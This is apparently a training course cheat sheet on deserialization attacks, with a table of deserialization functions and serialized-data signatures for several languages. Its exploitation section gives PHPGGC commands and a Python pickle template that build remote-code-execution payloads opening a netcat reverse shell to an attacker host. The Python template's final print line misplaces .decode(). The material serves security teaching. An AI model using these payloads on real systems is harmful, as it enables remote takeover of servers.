

INTRODUCTION TO DESERIALIZATION ATTACKS

CHEAT SHEET

Identifying the use of Serialization

White-Box

Function	Language
<code>unserialize()</code>	PHP
<code>pickle.loads()</code>	Python (Pickle)
<code>jsonpickle.loads()</code>	Python (JSONPickle)
<code>yaml.load()</code>	Python (PyYAML, ruamel.yaml)
<code>readObject()</code>	Java
<code>Deserialize()</code>	C#/.NET
<code>Marshal.load()</code>	Ruby

Black Box

Bytes	Language
<code>a:4:{i:0;s:4:"Test";i:1;s:4:"Data";i:2;a:1:{i:0;i:4;}i:3;s:7:"ACADEMY";}</code>	PHP

Bytes	Language
<code>(1p0\nS'Test'\np1\naS'Data'\np2\na(1p3\nI4\naaS'ACADEMY'\np4\na.</code>	Python 2.x (Pickle Protocol 0)
<code>80 01</code> (Hex)	Python 2.x (Pickle Protocol 1)
<code>80 02</code> (Hex)	Python 2.3+ (Pickle Protocol 2)
<code>80 03</code> (Hex)	Python 3.8+ (Pickle Protocol 4)
<code>80 04 95</code> (Hex)	Python 3.x (Pickle Protocol 5)
<code>["Test", "Data", [4], "ACADEMY"]</code>	Python 2.7 / 3.6+ (JSONPickle)
<code>- Test\n- Data\n- - 4\n- ACADEMY\n</code>	Python 3.6+ (PyYAML / ruamel.yaml)
<code>AC ED 00 05 73 72</code> (Hex), <code>r00ABXNy</code> (Base64)	Java
<code>00 01 00 00 00 ff ff ff ff</code> (Hex), <code>AAEAAAD/////</code> (Base64)	C#/.NET
<code>04 08</code> (Hex)	Ruby

Exploiting PHP Deserialization

PHPGGC

```
# List out available gadget chains for a specific framework:
phpggc -l Laravel

# Generate an RCE payload using a specific gadget chain:
phpggc Laravel/RCE9 system 'nc -nv <ATTACKER_IP> 9999 -e /bin/bash' -b

# Generate a payload to exploit a PHAR deserialization vulnerability:
phpggc -p phar Laravel/RCE9 system 'nc -nv <ATTACKER_IP> 9999 -e /bin/bash' -o exploit.phar
```


Exploiting Python Deserialization

Template for Pickle RCE exploit:

```
import pickle
import base64
import os
```

```
class RCE:
    def __reduce__(self):
        return os.system, ("nc -nv 1.2.3.4 5555 -e /bin/bash",)
```

```
print(base64.b64encode(pickle.dumps(RCE()))).decode()
```